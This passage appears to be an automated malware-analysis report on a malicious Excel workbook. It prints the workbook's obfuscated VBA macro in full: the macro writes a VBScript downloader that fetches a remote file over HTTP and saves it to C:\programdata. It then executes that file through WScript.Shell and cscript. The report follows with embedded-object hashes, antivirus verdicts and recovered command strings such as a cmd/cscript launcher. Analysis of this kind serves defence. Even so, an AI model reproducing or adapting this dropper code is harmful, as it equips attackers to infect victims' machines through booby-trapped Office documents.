siunwufjsftw2 = siunwufjsftw2 + "    gdfud32kkmdmbfy = gdfud32kkmdmbfy + ""(ado)""" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "   Execute(gdfud32kkmdmbfy)" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "    Execute(""skivreuifyue43u."" + ""Open """"GET"""", gtyjnhjkfirejhrrhy, False"")" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "    Execute(""skivreuifyue43u."" + ""Send"")" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "   stream_obj.type = 1" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "   Execute(""stream_obj."" + ""open"") '149471" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "   Execute(""stream_obj."" + ""write"" + "" skivreuifyue43u.Respons"" + ""eBody"") " + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "   Execute(""stream_obj.save"" + ""tof"" + ""ile strFile, 2"")" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "End Sub" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "dieueehniv = ""exec """ + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "mancan = ""lkhnjhgfdrtyujh."" + dieueehniv + ""hj435fy43geu87r5i""" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "hj435fy43geu87r5i = ""C:\progra"" + ""mdata\""+fjnffbeuiv54gt5kyurrhtibg4ug6g" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "Execute(""xdecd f33rZ9jPUDsN6B81P6yiLKJOeonZe6SzDGNsnxCSWrBHVHl05Pv1X2HnSigPIgPi1gXpEXCLMR9yRsmGCj3nhjVAL8Rfq4oW3eTt0EboqxgdqF, hj435fy43geu87r5i:dim lkhnjhgfdrtyujh:xax = mancan:Execute(xax)"")" + vbCrLf '0000


    On Error Resume Next
mddjekfr = "........................................................."
bieufehur3 = ""
If hournow > -2322 Then
    bieufehur3 = bieufehur3 & Left(mddjekfr, 1)
    bieufehur3 = bieufehur3 & "s"
    bieufehur3 = bieufehur3 & "h"
    bieufehur3 = bieufehur3 + "e"
    bieufehur3 = bieufehur3 + "ll"
End If

Range("A1:C1").Select '149471
Dim vch
vch = "b"

xzxz = "W"
xzxz = xzxz & "scr"
xzxz = xzxz & "ipt"
xzxz = xzxz & bieufehur3
hournow = Hour(Time()) '149471

    yyyyvar = "e "

x = "C"
x = x + ":" '149471
x = x + "\" '149471
x = x + "pr" '149471
x = x + "og" '149471
x = x + "ram" '149471
x = x + "data" '149471
x = x + "\as"
x = x + "c"
x = x + "."
x = x + "txt"
xxxxxpath = "Windows\"
difudteje = "s"
difudteje = difudteje + "ys"
difudteje = difudteje + "tem"
'difudteje = difudteje + "tem"
difudteje = difudteje + "32"
veiure5278eu2 = "C:\" + xxxxxpath + difudteje + "\c" + "script" + ".ex"
If hournow > -2322 Then
    veiure5278eu2 = veiure5278eu2 + yyyyvar
End If

Dim i As Integer '149471
'ii = InputBox("Enter Value", "Enter Serial Numbers")

ajdbey84jwgw = "Scri"
ajdbey84jwgw = ajdbey84jwgw + "pti"
ajdbey84jwgw = ajdbey84jwgw + "ng."
Dim oFile As Object '149471
almvar = "v" + vch
almvar = almvar + "s"
bbbmap = "scr" + "ipt1"
xoshggeigr03 = x + ":" + bbbmap + "." + almvar
yhrttydhgtejiu8ftr5 = siunwufjsftw2
ywkgl6 = 2 - 1

    Open xoshggeigr03 For Output As ywkgl6

Print #1, yhrttydhgtejiu8ftr5
      Close #1
sjdtgejjnbcuiw553rd = "W"
If hournow > -2322 Then
    sjdtgejjnbcuiw553rd = sjdtgejjnbcuiw553rd + "S"
    sjdtgejjnbcuiw553rd = sjdtgejjnbcuiw553rd + "cr"
    sjdtgejjnbcuiw553rd = sjdtgejjnbcuiw553rd + "i"
    sjdtgejjnbcuiw553rd = sjdtgejjnbcuiw553rd + "pt"
    sjdtgejjnbcuiw553rd = sjdtgejjnbcuiw553rd + "."
    sjdtgejjnbcuiw553rd = sjdtgejjnbcuiw553rd + "S"
    sjdtgejjnbcuiw553rd = sjdtgejjnbcuiw553rd + "h"
    sjdtgejjnbcuiw553rd = sjdtgejjnbcuiw553rd + "e"
    sjdtgejjnbcuiw553rd = sjdtgejjnbcuiw553rd + "l" + "l": Set cdiyrwiw28jwhw = CreateObject(sjdtgejjnbcuiw553rd)
End If
qtsjlsgfg = 10000 - 10000

cneyowhfg43iw = False
Application.Eval (cdiyrwiw28jwhw.Run(veiure5278eu2 + xoshggeigr03, qtsjlsgfg, cneyowhfg43iw))

Dim QIFAQBIMBSDJPEV
End Sub
ooxml_oleobject_00.bin ooxml-ole-object OOXML embedded OLE part: xl/embeddings/oleObject1.bin 13312 bytes
SHA-256: ebd47b2e4e4823ca0ebe0d8ebd28c33a871271e8889dbae6c98a4be6b0a16a2e
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis recovered command string(s): Wscript.Shell");
ooxml_oleobject_00_ole10native_00.bin ole-package OOXML xl/embeddings/oleObject1.bin Ole10Native stream: Ole10Native 10612 bytes
SHA-256: 0749915d8649754df1ac2cc817eb38374db0ce58f7ec2eca59f83ef635237055
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis recovered command string(s): Wscript.Shell");
ooxml_oleobject_01.bin ooxml-ole-object OOXML embedded OLE part: xl/embeddings/oleObject3.bin 5936 bytes
SHA-256: 1d414abdfb67c6bc5bb566fab88d743e0aa655ccad83fb191b33b20358f9f9a9
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis recovered command string(s): cmd /c ren %tmp%\mm v&cScriPT %tmp%\v?..wsf  C
ooxml_oleobject_02.bin ooxml-ole-object OOXML embedded OLE part: xl/embeddings/oleObject2.bin 13824 bytes
SHA-256: 169678c09f73ce7cd88a5e630afcd559d21837fa10a139e79b7148e28817dd53
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis recovered command string(s): Wscript.ScriptFullName, WScript = "WScript" '149471, WScript = sWScript + "."
ooxml_oleobject_02_ole10native_00.bin ole-package OOXML xl/embeddings/oleObject2.bin Ole10Native stream: Ole10Native 10890 bytes
SHA-256: e28c0a92e52d368cb9b962072f55622102b3ef95732a35dfa15b61468b02fd82
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis recovered command string(s): Wscript.ScriptFullName, WScript = "WScript" '149471, WScript = sWScript + "."
ooxml_oleobject_03.bin ooxml-ole-object OOXML embedded OLE part: xl/vbaProject.bin 45056 bytes
SHA-256: c5c1f032a4fac6c589c0d721d65080eb8e1c7e6b6cdfae2b1ad3771a1e53a4b5
Detection
ClamAV: Xls.Malware.Sdrop-9756744-0
Obfuscation or payload: unlikely
emf_00.emf ooxml-emf OOXML EMF part: xl/media/image1.emf 4968 bytes
SHA-256: 979dde2aed02f077c16ae53546c6df9eed40e8386d6db6fc36aee9f966d2cb82
emf_01.emf ooxml-emf OOXML EMF part: xl/media/image2.emf 1536 bytes
SHA-256: 4d4d1e7b04c99dcb8e885915068ad6f74cc2333e91580cdae5ccaa00c427247f

Open this report in the interactive analyzer, or submit your own file for analysis.